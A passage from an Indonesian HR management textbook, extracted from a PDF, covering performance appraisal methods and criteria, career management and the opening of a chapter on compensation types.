/>A. Penilaian Kinerja Sebuah Perspektif Organisasi<br />Penilaian kinerja menitikberatkan pada penilaian sebagai suatu proses pengukuran<br />penilaian. Hal utama dari penilaian ini adalah teknik-teknik (seperti pola-pola skala) yang<br />dapat dikembangkan untuk meningkatkan ketepatan serta validitas penilaian. Penelitian<br />ini menjadi khas karena model-model yang disampaikan tidak memudahkan<br />penggabungan antara ilmu dan aplikasinya dalam penilaian kinerja.Hal ini disebabkan<br />karena mereka tidak mengidentifikasikan variabel-variabel yang sangat penting dalam<br />penilaian dan mereka gagal mencapai tujuan sehingga diperlukan pendekatan penelitian<br />dan praktik yang lain.<br />Sebuah kemajuan dalam memberikan perkiraan penilaian perspektif sosialpsikologis<br />bahwa peran konteks penilaian mendapatkan perhatian yang lebih besar. Lebih<br />lanjut, perspektif ini menyebabkan para ahli ilmu jiwa lebih memiliki kesempatan<br />menyelidiki masalah-masalah psikologis dan sosial-psikologis dengan proses penilaian.<br />Hal ini akan menimbulkan pertanyaan apakah peran keadaan sosial dan norma-norma<br />organisasi dalam proses penilaian atau apakah peran proses sosialisasi dalam<br />pengembangan norma-norma dan standar kinerja.<br />B. Definisi Penilaian Kinerja<br />Dalam berbagai literatur pengembangan sumber daya manusia, digunakan berbagai<br />istilah untuk kegiatan menilai prestasi kerja pegawai. Mulai dari istilah performance<br />appraisal, employee evaluation, performance measurement, employee assessment,<br />performance evaluation sampai pada employee’s performance evaluation.<br />Hasil kerja atau karya pegawai yang dihasilkan dari gabungan atau resultante antara<br />kemampuan serta semangat pegawai merupakan aspek penentu prestasi kerja yang<br />mewujudkan pada kinerja dan produktivitasnya.<br />Dalam kaitannya dengan kebijakan personalia berdasarkan merit system, maka<br />penilaian karya pegawai sebagai “proses sistematik untuk menilai segenap perilaku kerja<br />57<br />pegawai dalam kurun waktu kerja tertentu yang akan menjadi dasar penetapan kebijakan<br />personalia dan pengembangan pegawai.”<br />Dalam definisi tersebut terkandung maksud bahwa, yang disebut sebagai<br />sistemmatik adalah terkait dengan adanya kejelasan tujuan, tahap-tahap pelaksanaan,<br />metode serta kurun waktu penilaian pegawainya. Sedangkan yang dimaksud dengan<br />segenap perilaku kerja pegawai adalah meliputi perilaku nampak (overt behaviour) dan<br />perilaku tak nampak (covert behaviour)<br />C. Tujuan Penilaian Kinerja<br />Pada hakekatnya terdapat dua tujuan utama dari kegiatan penilaian karya<br />pegawai, yakni untuk kepentingan administratif serta dalam rangka peningkatan kinerja<br />pegawai.<br />1. Penilaian karya pegawai untuk tujuan administrasi personalia,karena hasil penilaian<br />karya pegawai akan menjadi dasar untuk:<br />a. Penetapan naik atau turunnya penghasilan pegawai.<br />b. Penetapan kepesertaan pelatihan pegawai.<br />c. Penetapan jenjang karir jabatan pegawai dalam wujudnya sebagai promosi, rotasi<br />atau demosi jabatan.<br />d. Sebagai dasar untuk mengevaluasi kinerja dan produktivitas organisasi dan unit<br />kerja pada umumnya serta individu-individu pegawai dalam setiap jabatan mereka<br />khususnya.<br />2. Penilaian karya pegawai untuk tujuan pengembangan diri pegawai, adalah meliputi:<br />a. Sebagai dasar untuk mengidentifikasikan kelebihan atau kekurangan pegawai<br />sehingga dapat menjadi salah satu bahan pertimbangan dalam melibatkan pegawai<br />dalam program-program pengembangan pegawai.<br />b. Sebagai alat untuk memperbaiki atau mengembangkan kecakapan kerja serta<br />meningkatkan motivasi kerja pegawai.<br />c. Sebagai alat untuk mendorong atau membiasakan para atasan atau pejabat penilai<br />dalam mengamati perilaku kerja pegawai secara keseluruhan<br />58<br />D. Metode Penilaian Kinerja<br />Sampai pada saat ini dikenal adanya tujuh metode penilaian untuk mengukur<br />prestasi kerja pegawai, yakni 1)rating scale, meliputi (a) skala grafik; (b) skala multiplestep,<br />(c) skala behavior; 2) cheklist, meliputi (a) weghted cheklist; (b) force-choice<br />checklist; 3) employee comparison, meliputi (a) forced –rank, (b) paired comparison, (c)<br />forced distribution; 4) critical incident; 5) essay evaluation; 6) management by objektive<br />/ MbO; 7) assesment center.<br />1. Rating Scales.<br />Metode ini merupakan penilaian oleh atasan terhadap pegawai yang menjadi<br />bawahannya berdasarkan sifat-sifat atau Karakteristik.<br />Faktor-faktornya Teknis Pelaksanaannya adalah, para atasan mengidentifikasikan<br />serta menentukan faktor-faktor apa yang dianggap penting dari tugas-tugas jabatan<br />yang hendak diukur melalui penentuan parameternya.<br />Terdapat (3 )jenis metode rating scale, yaitu:<br />a. Skala grafik, dalam metode ini penilai memberikan tanda (√;Χ;0) pada skala<br />penilaian yang merupakan hasil penilaian dan dianggap sebagai posisi setepatnya<br />yang mewakili diri pegawai yang dinilai. Tahap pemilihan faktor-faktor yang<br />harus diukur dari para pegawai adalah merupakan bagian yang penting dan<br />menentukan dari penggunaan sistem skala grafik. Terdapat dua jenis faktor yang<br />lazim dipertimbangkan, yaitu;<br />1) Sifat-sifat khusus, seperti motivasi dan inisiatif.<br />2) Kontribusi, seperti jumlah dan mutu kerja.<br />59<br />Contoh Skala Grafik<br />• Keterampilan Kerjanya<br />Buruk Di bawah Rata-rata Diatas Baik<br />Rata-rata Rata-rata<br />• Kuantitas hasil kerjanya<br />Buruk Di bawah Rata-rata Di atas Baik<br />Rata-rata Rata-rata<br />• Disiplin Kerjanya<br />Buruk Di bawah Rata-rata Di atas Baik<br />Rata-rata Rata-rata<br />• Tanggung Jawab Kerjanya<br />Di bawah Di atas Baik<br />Rata-rata Rata-rata<br />b. Skala-multi-step, pada metode penilaian ini para penilai dihadapkan sejumlah<br />kategori alternatif yang harus dipilihnya.<br />c. Skala penilaian berbasis perilaku (behavioral anchored rating scales/BARS),<br />yang harus memfomulasikan terlebih dahulu faktor-faktor serta dimensi dari sifat<br />dan karakteristik jabatan ke dalam bentuk perilaku yang bisa diukur dan menjadi<br />dasar penetapan skala penilaian. Skala penilaian berbasis perilaku ini meliputi 2<br />(dua) jenis yaitu:<br />1) Skala perilaku harapan (behaviour expectation scales / BES), dengan<br />dasarnya yang berupa uraian guna membantu penilai untuk merumuskan<br />perilaku pegawai sebagai diatas rata-rata, rata-rata atau di bawah rata-rata :<br />60<br />Contoh Skala Penilaian Berdasarkan Perilaku Harapan<br />(Behaveur Expectation scale)<br />Nilai Deskripsi Prilaku yang Diharapkan<br />6<br />Bisa diharapkan untuk meningkatkan volume penjualan dengan bantuan empat<br />Petugas Penjualan baru dan mengembangkan mereka menjadi Petugas<br />Penjualan yang berhasil<br />5<br />Bisa diharapkan untuk meningkatkan kepercayaan diri dan rasa tanggung jawab<br />para Petugas Penjulan yang dibawahinya dengan mendelegasikan banyak tugas<br />penting kepada mereka<br />4<br />Bisa diharapkan untuk berhasil memberikan pelatihan mengenai teknik-teknik<br />penjualan yang efektif bagi bawahannya sekurangnya lima kali dalam satu bulan<br />3<br />Bisa diharapkan untuk menunjukan kepada para petugas penjualan bagaimana<br />cara memberikan pesan positif kepada para pelanggan yang berlaku sopan dan<br />hormat pada mereka<br />2<br />Bisa diharapkan untuk mengur petugas penjualan agar aktif melanyani para<br />pelanggan dan jangan hanya pasif menunggu saja<br />1<br />Bisa diharapkan untuk meminta agar petugas penjualan yang dibawahinya<br />berdisiplin dalam bekerja dan tidak membolos<br />2) Skala pengamatan perilaku (behaviour observatioan scale / BOS).<br />Jika kita menggunakan skala BES, maka pengesahan suatu dasar perilaku di<br />atas titik netral juga nampak akan memasukkan perilaku dari titk netral ke<br />atas. Misalkan jika seorang pegawai mendapatkan nilai 6, maka hal itu juga<br />berarti bahwa dia diharapkan untuk menunjukkan perilaku taraf 5;4;dan 3<br />61<br />Contoh Model Skala Pengamatan Perilaku<br />Beri tanda lingkaran atau lingkarilah (1) jika pegawai telah menunjukan perilaku kurang<br />dari ( < ) 50%; (2) jika 50%-64%; (3) jika 65%-79%; (4) jika 80%-89%; (5) jika<br />90%-100% tampil disepanjang waktu.<br />1 Menjadi pelanggan bengkel tentang apa saja keluhannya atas mobil atau<br />kendaraannya dengan cara yang sopan dan penuh perhatian.<br />Tidak pernah 1 2 3 4 5 Selalu<br />2 Melakukan pemeriksaan standard yang diperlukan atas mobil atau kendaraan<br />pelanggan untuk mencari penyebab yang dikeluhkan oleh pelanggan bengkel.<br />Tidak pernah 1 2 3 4 5 Selalu<br />3 Hanya bersedia melayani pelanggan lama dan meminta montir lain untuk melayani<br />pelanggan baru.<br />Tidak pernah 1 2 3 4 5 Selalu<br />4 Dengan sigap menyambut setip pelanggan bengkel yang datang dan menghentikan<br />obrolannya sesama montir.<br />Tidak pernah 1 2 3 4 5 Selalu<br />5 Dengan sopan menyilakan pelanggan untuk menunggu sambil menonton TV atau<br />membaca koran sementara mobil diperbaikinya.<br />Tidak pernah 1 2 3 4 5 Selalu<br />2. Cheklist<br />Pendekatan subyektif lainnya terhadap penilaian pegawai adalah dengan<br />menggunakan metode checklist yang dapat pula diberi artian sebagai daftar periksa.<br />Dalam metode penilaian ini, para penilai dihadapkan pada daftar pernyataanpernyataan<br />khusus berikut pencantuman pilihan nilainya:<br />62<br />TABEL 2.5<br />Contoh Model Forced-Choice Checklist<br />No. Pernyataan ya Tidak<br />1 Biasa memberikan gagasan yang baik<br />2 Menunjukan minat besar dalam bekerja<br />3 Berlaku pilih kasih pada bawahan<br />4 Bisa mencela bawahan<br />5 Perlengkapan kerja dipelihara baik<br />6 Memiliki pengetahuan jabatan yang baik<br />7 Para bawahan menghortinya<br />8 Membeda-bedakan bawahan<br />9 Mendengarkan kesulitan bawahan<br />10 Menegur bawahan di depan umum<br />3. Employee Comparison<br />Metode penilaian pegawai dengan cara membandingkan antara satu pegawai terhadap<br />pegawai lainnya terdiri atas 3 (tiga) macam, yakni:<br />a. Forced-rank,dalam hal ini penilai diminta untuk membuat urutan atau peringkat<br />(rangking) pegawai yang dinilai, mulai dari yang paling rendah sampai yang paling<br />tinggi<br />Tabel 2.6<br />Contoh model Forced-Rank dari Employee Comparison<br />Urutan/Peringkat/Ranking Nama Pegawai<br />1 Aji<br />2 Bonita<br />3 Chandra<br />4 Dewi<br />5 Erlangga<br />6 Fatmawati<br />7 Goltom<br />63<br />b. Paired Comparison, metode ini berkaitan dengan proses pengambilan keputusan<br />oleh penilai. Prosedurnya adalah:<br />1) Penilai diminta untuk membandingkan setiap pasangan pegawai.<br />2) Penilai memutuskan siapa di antara keduanya yang paling menonjol.<br />c. Forced Distribution, dengan metode ini para penilai dipaksa membuat<br />pengelompokan para pegawai ke dalam suatu skala prosentase sesuai dengan<br />faktor penilaian prestasi kerja pegawainya. Metode ini bisa digunakan bila :<br />1) Jumlah pegawai yang dinilai 30 orang atau lebih.<br />2) Variasi Karkter individunya cukup menonjol (heterogen).<br />3) Kecakapan kerja pegawai diasumsikan membentuk kurva normal.<br />Dengan metode ini kelompok pegawai dibagi-bagi lagi ke dalam urutan Kategori<br />penilaian sebagai berikut:<br />1) Istimewa<br />2) Di atas rat-rata<br />3) Rata-rata<br />4) Di bawah rata-rata<br />5) Buruk<br />4. Critical Incident<br />Metode penilaian pegawa ini melibatkan para atasan yang harus mencatat semua<br />kejadian-kejadian kritis yang dinilai penting (critical incident) dari perilaku pegawai<br />yang biasa maupun yang luar biasa berdasarkan tampilan kejadian sehari-harinya<br />Misalkan saja untuk tingkatan manajer maka kriteria-kriteria yang dapat dipakai<br />antara lain adalah :<br />a. Kemampuan merencanakan.<br />b. Pengambilan keputusan.<br />c. Kesediaan mendelegasikan wewenang.<br />d. Pembuatan laporan.<br />e. Hubungan interpersonal dan sebagainya.<br />64<br />Untuk peningkatan para staf atau pelaksana, jenis-jenis kriteria yang dapat dipakai<br />adalah dapat berupa:<br />a. Tanggung jawab.<br />b. Prakarsa atau inisiatif.<br />c. Kerja sama dengan rekan sekerja.<br />d. Disiplin dan sebagainya.<br />5. Essay Evaluation<br />Prosedur yang dilakukan metode ini adalah berupa penugasan atau meminta penilai<br />untuk menyusun suatu karya tulis (essay) yang isinya bisa menggambarkan tentang<br />kelebihan-kelebihan dan kelemahan-kelemahan setiap personil yang dibawahinya.<br />Biasanya uraian tulisan dikelompokkan di bawah topik atau judul tertentu seperti :<br />a. Prakasa atau inisiatif.<br />b. Kerja sama.<br />c. Pengetahuan jabatan.<br />d. Hasil kerja dan sebagainya.<br />6. Manajemen Berdasarkan Sasaran ( Management by Objektive )<br />Metode penilaian pegawai yang berorientasi pada hasil akhir atau final<br />result oriented dan disebut MbO ini digunakan untuk mengatasi kekurangankekurangan<br />dari metode penilaian lainnya yang lebih berfokus Pada proses.<br />Pendekatan penilaian pegawai ini didasarkan pada perumusan sasaran-sasaran<br />prestasi yang umumnya kuantitatif dan dapat diukur serta kerapkali ditentukan<br />bersama oleh atasan dan bawahannya.<br />Prosedur dari metode penilaian MbO ini dilakukan melalui tahapan sebagai berikut :<br />a. Setiap bawahan diminta untuk menentukan bagi dirinya sendiri sasaran atau<br />target prestasi kerja jangka pendek beserta cara-cara bagaimana ia dapat<br />memperbaiki pola kerjanya sendiri serta pola kerja dari unitnya.<br />b. Atasan dan bawahan bersama-sama membicarakan apa yang diperlukan untuk<br />mencapai sasaran tersebut dan untuk menyesuaikan terhadap organisasi sebagai<br />keseluruhan.<br />65<br />c. Pada akhir masa penilaian yang ditetapkan (misalkan 6 bulan ) mereka bertemu<br />lagi untuk menilai apakah sasaran-sasaran dapat dicapai dengan baik, membahas<br />perihal apa saja yang dapat diperbaiki dan menetapkan sasaran-sasaran baru untuk<br />masa penilaian berikutnya. Sebagai upaya untuk saling mengisi, maka atasan<br />menuliskan hasil penilaian yang terperinci mengenai bawahannya dan<br />bawahannya menuliskan prestasi kerja yang dapat atau tidak dapat dicapainya.<br />7. Assessment Center<br />Assessment center pertamanya berkembang di lingkup militer jerman pada masa<br />perang dunia II dan bertujuan memilih para calon perwira unggulan yang akan maju<br />ke medan laga.<br />Yang diidentifikasikan melalui metode assessment center secara umu meliputi tiga<br />aspek, yaitu kecerdasan, kepribadian serta keterampilan manajerial. Metode yang<br />digunakan dalam assessment center adalah berupa:<br />a. Psychological-test, terdiri atas serangkaian test untuk mengidentifikasi taraf<br />kecerdasan melalui jenis-jenis achievement-test yang mengukur kemampuan<br />numerikal, verbal, daya tangkap, daya nalar serta test kepribadian melalui<br />test-test proyektif dan minat.<br />b. Simulation execises, terdiri atas beberapa kegiatan simulatif untuk<br />mengidentifikasikan aspek managerial skill pegawai melalui pelaksanaan inbasket<br />exercise yang berisikan berbagai nota dinas, surat perintah, laporan,<br />cacatan telepon yang harus dijawab seluruhnya sekaligus dalam waktu singkat<br />E. Faktor Penilaian Kinerja<br />Sembilan Kriteria faktor penilaian karya pegawai, yaitu berupa :<br />a. Reliable, measure atau harus mengukur perilaku kerja dan hasilnya secara<br />obyektif.<br />b. Content valid atau secara rasional harus terkait dengan kegiatan kerja.<br />c. Defined specific atau meliputi segenap perilaku kerja dan hasil kerja yang dapat<br />diidentifikasikan.<br />66<br />d. Independent atau perilaku kerja dan hasil kerja yang penting harus tercakup dalam<br />kriteria yang komprehensif.<br />e. Non-overlaping atau tidak ada tumpang tindih antar Kriteria.<br />f. Comprehensive atau perilaku kerja dan hasil kerja yang tidak penting harus<br />dikeluarkan.<br />g. Accessible atau kriteria haruslah dijabarkan dan diberi nama secara komprehensif.<br />h. Compatible atau kriteria harus sesuai dengan tujuan dan budaya organisasi.<br />i. Up to date atau sewaktu-waktu kriteria perlu ditinjau ulang menilik kemungkinan<br />adanya perubahan organisasi.<br />F. TOLAK UKUR KINERJA (PERFORMANCE STANDARD)<br />Tolak ukur kinerja atau performance standar adalah daerah atau wilayah kinerja<br />jabatan atau unit kerja perusahaan yang dapat diterima atau ditolak terkait dengan<br />upaya perusahaan untuk mencapai visi dan misinya. Istilah ini jika diterapkan untuk<br />jabatan akan menjadi pagu atau tolak ukur kinerja jabatan dan lazim pula disebut<br />sebagai job performance standard. Sedangkan bila diterapkan pada unit kerja<br />perusahaan akan menjadi pagu atau tolak ukur kinerja unit kerja atau organization<br />unit performance standard. Dari bagian pada Gambar 2.2 tersebut nyata benar peran<br />penting dan strategik dari sebuah tolak ukur kinerja jabatan dalam upaya nyata<br />perusahaan untuk mencapai misi perusahaan dapat digapai secara sistematik.<br />67<br />Gambar 2.2<br />Prosedur Umum Penetapan Tolak Ukur kinerja Jabatan<br />(job Performance Standard)<br />Tolak Ukur Kinerja Jabatan<br />(Job Performance Standard)<br />• Quantity; Quantity;<br />• Cost<br />Tugas-Tugas<br />Jabatan<br />Jabatan-Jabatan<br />Perusahaan<br />Struktur<br />Organisasi<br />Perusahaan<br />Visi dan Misi<br />Preusahaan<br />Hasil Kerja<br />Jabatan<br />Target dari<br />Pemegang Saham<br />Perusahaan<br />68<br />G. MANAJEMEN KARIER<br />1. Mengembangkan Diri<br />Mungkin belum pernah terlintas dalam pikiran, bahwa suatu kesempatan besar akan<br />datang dan membawa keberuntungan di masa mendatang. Segala sesuatu bergerak<br />dengan cepat dalam organisasi tanpa peringatan terlebih dahulu. Begitu kesempatan<br />datang, maka seseorang harus sudah siap untuk menerima kesempatan tersebut, sudah<br />tentu jumlah pertimbangan yang diperoleh akan ditentukan oleh catatan prestasi yang<br />dimiliki oleh pribadi masing- masing. Ini berarti bahwa pada waktu memulai pekerjaan<br />yang pertama seseorang hjarus dapat membayangkan prospek masa depannya meskipun<br />masa depan belum dianggap penting pada saat itu, tetapi seseorang harus berusaha<br />bekerja dengan sungguh-sungguh dan berusaha untuk mencapai prestasi kerja sebaik<br />mungkin.<br />Dengan belajardari pengalaman, mengamati sebab keberhasilan orang lain dan<br />tidak mengulangi kesalahan yang dibuatnya, seseorang dapat menyelesaikan<br />pekerjaannya dengan baik dan lebih cepat, sehingga dapat dengan mudah dan benar-benar<br />tahu apa yang harus dikerjakan. Kemampuan kerja seseorang dapat menarik perhatian<br />seorang pemimpin dan rekan-rekan sekerja, serta membuka kesempatan bagi orang<br />termaksud untuk lebih cepat menduduki jabatan yang lebih baik.<br />Promosi adalah kenaikan jabatan, yakni menerima wewenang dan tanggungjawab<br />yang belum dimiliki sebelumnya. Promosi tidak selalu diikuti dengan kenaikan gaji. Gaji<br />dapat tetap, tapi pada umumnya bertambah besarnya wewenang dan tanggungjawab<br />seseorang, bertambah besar pula balas jasa yang diterimanya. Dengan promosi,<br />dimaksudkan bahwa kepada seseorang diberikan jabatan yang lebih tinggi, dimana ia<br />mempunyai tugas wewenang dan tanggungjawab yang lebih besar, jika dibandingkan<br />dengan tugas, wewenang dan tanggungjawab yang dipegang sebelumnya. Hal ini<br />dimaksudkan untuk mengembangkan lebih lanjut karier seseorang.<br />Dalam rangka mencapai kemajuan, seseorang terlebih dahulu harus bersikap<br />dinamis dan lebih banyak memberikan jasa pada organisasi tempat ia bekerja, tanpa<br />mengharapkan suatu ambisi yang berlebihan serta tidak terlalu mengharapkan imbalan<br />jasa. Disamping itu seseorang harus berusaha untuk dapat memanfaatkan kesempatan,<br />sehingga dapat membuktikan bahwa ada kesanggupan untuk menangani pekerjaan yang<br />69<br />lebih besar. Pekerjaan yang memerlukan tanggungjawab yang lebih besar merupakan<br />tantangan bagi seseorang untuk lebih maju. Setiap tanggungjawab baru akan membuat<br />seseorang untuk lebih dapat berdiri sendiri dan berguna di kantor, serta dapat memberikan<br />pengalaman yang lebih luas kepadanya. Kemungkinan kesempatan tersebut datang dari<br />diri seseorang sendiri, misalnya dengan menemukan cara yang lebih efisien dalam<br />menyelesaikan beberapa pekerjaan atau penyampaian ide baru yang dapat diterapkan<br />dalam pelaksanaan pekerjaan.<br />Setiap individu pada umumnya ingin maju, berkembang dan sukses, namun tidak<br />banyak individu yang tahu kemana dan bagaimana pengembangan tersebut dilakukan.<br />Beberapa hal yang dapat dipakai oleh setiap individu untuk mengembangkan dirinya,<br />antara lain:<br />1. Berusaha mengenal diri sendiri.<br />2. Berusaha mengenal kekuatan diri sendiri.<br />3. Berusaha mengenal kelemahan diri sendiri.<br />4. Berusaha mengembangkan interaksi dan komunikasi terbuka dengan lingkunag<br />yang positif dan edukatif.<br />5. Membiasakan diri selalu mengadakan kritik terhadap diri sendiri, mengevaluasi<br />diri, dan mengembangkan rasa humor.<br />6. Mencoba menerima keadaan secara rasional dan objektif.<br />7. Membiasakan diri selalu mengadakan pengecekkan, dan teliti dalam setiap<br />tindakan.<br />8. Memiliki tujuan dalam tahapan waktu yang terprogram.<br />9. Tidak mengimitasikan diri pada seseorang, tetapi mendiri.<br />2. Pengelolaan Karir<br />Agar dapat menentukan tindakan yang ingin kita lakukan dalam hal karir, kita<br />perlu melalui satu proses yang amat sederhana, yaitu proses perencanaan karir. Itu<br />bukannya suatu persoalan dalam merencanakan kehidupan kita, melainkan sekedar cara<br />dalam menyortir sasaran-sasaran jangka pendek kita, dalam menentukan apa yang harus<br />kita lakukan berikutnya di dalam karir kita. Proses ini dapat diterapkan pada tahap<br />70<br />manapun dalam kehidupan kita: untuk beralih karir, atau untuk perencanaan karir awal,<br />untuk berbagai keputusan karir.<br />Bagaimana mangikutinya? Cukup kita ikuti tahap-tahap yang digambarkan di<br />bawah ini dan kita harus sampai pada beberapa jawaban dari pertanyaan semacam: Karir<br />apa yang cocok bagi kita? Pilihan apa yang ada pada kita? Bagaimana kita dapat<br />membuat keputusan?<br />Langkah-Langkah yang Ditempuh<br />• Menilai diri sendiri : Kenalilah kelebihan-kelebihan kita, kemampuan kita, minat<br />kita dan berbagai atribut persoalan lainnya. Simaklah pengalaman kita<br />sebelumnya. Gambarkan hasil temuan kita dalam suatu bentuk ringkasan atau<br />rekaman.<br />• Meneliti gagasan dan kesempatan : Menengok kesempatan pada masa mendatang.<br />Mencari dan mempertimbangkan informasi yang relevan. Menandai sumbersumber<br />bantuan dan dukungan.<br />• Membuat hubungan-hubungan : Dapatka umpan balik dari perkembangan karir<br />kita. Kenali prioritas-prioritas dan dorongan-dorongan pribadi. Gabungkan hasilhasil<br />penilaian diri dengan pilihan-pilihan yang ada pada kita.<br />• Melakukan tindakan : Tuliskan dan laksanakan suatu rencana kegiatan.<br />Komunikasikan secara efektif baik secara lisan maupun tertulis untuk mencapai<br />sasaran. Tinjau kembali kemajuan kita dan amati segi-segi yang perlu dipelajari<br />bagi perencanaan karir kita di masa mendatang.<br />Menilai Diri Sendiri<br />Ini merupakan langkah teramat penting dalam proses pengelolaan karir dan bagi<br />sebagian besar orang inilah bagian yang paling sulit dan menimbulkan sejumlah<br />pertanyaan. Bagaimana saya melakukannya? Patokan apa yang saya gunakan? Dengan<br />siapa saya harus membandingkan diri saya?<br />Dengan jelas disebutkan bahwa ada tiga kriteria utama yang sangat vital dalam<br />pengelolaan karir, yakni pengetahuan akan:<br />71<br />• Kemampuan dan keterampilan kita, misalnya, kemampuan dalam mencegah<br />masalah, dalam berkomunikasi.<br />• Minat kita, misalnya, terhadap lingkungan, musik, olah raga<br />• Kelebihan-kelebihan kita, misalnya, keinginan untuk sukses, keinginan untuk<br />membantu orang lain.<br />Dalam proses ini kita tak perlu membuat perbandingan antara diri kita dengan<br />orang lain. Yang perlu kita lakukan adalah tindakan INTRAPERSONAL, yakni<br />membandingkan berbagai keterampilan dan minat kita untuk mengetahui mana yang<br />lebih penting. Ada berbagai macam cara untuk melaksanakan tugas ini. Kita dapat<br />meninjau ulang pengalaman terlebih dahuludalam mengenali minat dan kelebihan<br />tertentu dalam diri kita. Kita dapat mempergunakan serangkaian kuesioner atau sistem<br />panduan komputer. Kita juga dapat bertanya kepada orang lain mengenai kesan-kesan<br />mereka terhadap kepribadian-kepribadian dan kelebihan-kelabihan kita. Umpan balik dari<br />tindakan dapat mengejutkan, bahkan dapat pula menyakitkan, tetapi itulah gambarannya.<br />Ada sejumlah cara dalam menjalani proses peninjauan diri dan refleksi diri semacam ini.<br />Yang paling baik adalah mencoba berbagai cara untuk menentukan jawaban-jawaban<br />yang konsisten.<br />Setelah kita mendapat beberapa kemajuan, akan berguna kiranya untuk<br />menyimpulkan hasil temuan kita dalam suatu profil atau risalah pribadi dan karir yang<br />akan mencatat semua hal mengenai diri kita yang relevan terhadap keputusan karir kita.<br />Sebagai contoh, barangkali kita akan menemukan bahwa kita berkeinginan untuk<br />memanfaatkan kualitas dengan suatu cara tertentu, atau bahwa keterampilan kitadi tempat<br />kerja inginkita kembangkan lebih lanjut. Kita barangkali pula menyadari bahwa beberapa<br />pangalaman yang kita dapatkan secara cuma-cuma atau bersifat main-main ternyata<br />sangat berguna untuk menunjang rencana karir kita di masa mendatang.<br />Menetapkan Sasaran dan Merencanakan Tindakan yang Akan Kita Ambil<br />Mengetahui secara jelas apa yang akan kita lakukan adalah bagian utama dalam<br />proses perencanaan karir karena tindakan itu dapat meningkatkan rasa percaya diri kita,<br />disamping mempertegas tujuan kita. Apabila kita merasa terperangkap dalam<br />72<br />keputusasaan dan keraguan, penetapan sasaran akan membantu kita merasa lebih optimis<br />tentang masa depan dan membuat kita lebih berani melakukan kontrol pada kehidupan<br />kita. Ini merupakan salah satu dari tujuan penetapan sasaran dan perencanaan tindakan.<br />Lantas apa keterkaitannya? Pada khususnya ada dua pertanyaan sederhana yang perlu<br />kita jawab: ‘Kemana arah hidup saya?’ dan ‘Bagaimana saya dapat mencapainya?’<br />Apabila merasa sulit menetapkansuatu jangkauan karir, kita dapat pula mendaftar<br />sejumlah pilihan dan, dalam rancangan tindakan yang kita buat, dapat dijelaskan alasan<br />kita memilih salah satu dari hal tersebut. Kita barangkali perlu pula membuat perbedaan<br />antara tujuan jangka pendek dan jangka panjang. Pertanyaan yang penting kita jawab<br />adalah ‘Bagaimana saya tahu saya telah mencapai tujuan tersebut?’<br />Pengelolaan karir berawal dari bagaimana diri kita sebenarnya. Pengenalan<br />kepribadian kita sendiri menentukan bagaimana karir yang akan kita peroleh. Bagaimana<br />kita bisa mencapai karir dengan sukses jika kita sendiri tidak tahu apa yang sebenarnya<br />ada pada diri kita.<br />Kedisiplinan dan penetapan sasaran adalah faktor yang menentukan dalam<br />pengelolaan karir kita. Disiplin membuat kita menjadi orang yang bertanggungjawab dan<br />penetapan sasaran menentukan bagaimana karir yang kita inginkan dapat tercapai.<br />73<br />BAB VIII<br />KOMPENSASI<br />Sistem kompensasi dalam organisasi harus dihubungkan dengan tujuan dan<br />strategi organisasi. Akan tetapi, kompensasi juga menuntut keseimbangan antara<br />keuntungan dan biaya pengusaha dengan harapan dari karyawan. Program kompensasi<br />harus memiliki 4 (empat) tujuan :<br />1. Terpenuhinya sisi legal dengan segala peraturan dan hukum yang sesuai<br />2. Efektivitas biaya untuk organisasi<br />3. Keseimbangan individual, internal, eksternal untuk seluruh karyawan<br />4. Peningkatan keberhasilan kinerja organisasi<br />Untuk pengusaha, biaya kompensasi haruslah pada tingkat yang memastikan<br />adanya efektivitas perusahaan maupun pemberian imbalan yang adil dan layak bagi<br />seluruh karyawan untuk kemampuan, keterampilan, pengetahuan, dan pencapaian kinerja<br />mereka. Untuk mengembangkan aspek-aspek tersebut sehingga pengusaha dapat<br />menarik, memperhatikan dan memberi imbalan pada kinerja karyawan menuntut adanya<br />pertimbangan beberapa jenis kompensasi yang ada.<br />A. Pembahasan<br />Sistem kompensasi sama dengan sistem balas jasa yang merupakan perancangan<br />sutau sistim formal dan terstruktur untuk memberikan imbalan kepada SDM atas apa<br />yang mereka lakukan demi keberhasilan perusahaan.<br />a. Pengertian Kompensasi<br />Kompensasi adalah faktor penting yang mempengaruhi bagaimana dan mengapa<br />orang-orang bekerja pada suatu organisasi dan bukan pada organisasi lainnya. Pengusaha<br />harus cukup kompetitif dengan beberapa jenis kompensasi untuk memeperkerjakan,<br />memperhatikan dan memberi imbalan terhadap kinerja setiap individu di dalam<br />organisasi.<br />74<br />b. Jenis-jenis Kompensasi<br />Imbalan dapat berbentuk instrinsik dan ekstrinsik. Imbalan intrinsik antara lain<br />termasuk pujian yang didapatkan untuk penyelesaian suatu proyek atau berhasil<br />memenuhi beberapa tujuan kinerja. Efek psikologis dan sosial yang lain dari kompensasi<br />juga merupakan gambaran dari jenis imbalan intrinsik. Kompensasi mempunyai dua<br />komponen yaitu pembayaran keuangan langsung, gaji pokok (upah/gaji) dan gaji variabel<br />(bonus, insentif, dan kepemilikan saham) dan pembayaran tidak langsung, tunjangan<br />(asuransi kesehatan, pensiun, dan liburan/cuti). Untuk lebih jelas penggolongan<br />kompensasi ini dapat dilihat pada gambar berikut.<br />Gambar 1. Komponen Program Kompensasi<br />KOMPENSASI<br />Langsung<br /> Gaji Pokok<br /> Upah<br /> Gaji<br /> Gaji Variabel<br /> Bonus<br /> Insentif<br /> Kepemilikan saham<br />Tidak Langsung<br /> Tunjangan<br /> Asuransi kesehatan<br /> Liburan pengganti<br /> Dana pensiun<br /> Kompensasi pekerja<br />Keterangan :<br /> Gaji pokok<br />Kompensasi dasar yang diterima oleh karyawan biasanya sebagai gaji atau<br />upah. Banyak organisasi menggunakan dua kategori gaji yaitu : gaji pokok dan gaji<br />harian.<br /> Upah<br />Bayaran yang secara langsung dihitung berdasarkan jumlah waktu kerja.<br /> Gaji<br />Bayaran yang konsisten dari suatu periode ke periode lain dengan tidak<br />memandang jumlah jam kerja.<br />75<br /> Gaji variabel<br />Kompensasi yang dikaitkan dengan kinerja individual, kelompok atau organisasi.<br /> Tunjangan<br />Imbalan tidak langsung, seperti asuransi kesehatan, uang cuti, atau uang<br />pensiun yang diberikan kepada karyawan sebagai bagian dari keanggotaannya di<br />organisasi.<br />c. Aspek Dasar Penetapan Kompensasi<br />1) Berdasarkan lamanya periode waktu<br />2) Berdasarkan kompetensi (kinerja)<br />3) Berdasarkan senioritas<br />4) Berdasarkan berat ringannya pekerjaan<br />d. Proses Penetapan Tarif Upah<br />Proses penetapan untuk tarif upah menjamin keadilan eksternal dan internal<br />menempuh lima langkah.<br />1) Lakukan sebuag survei 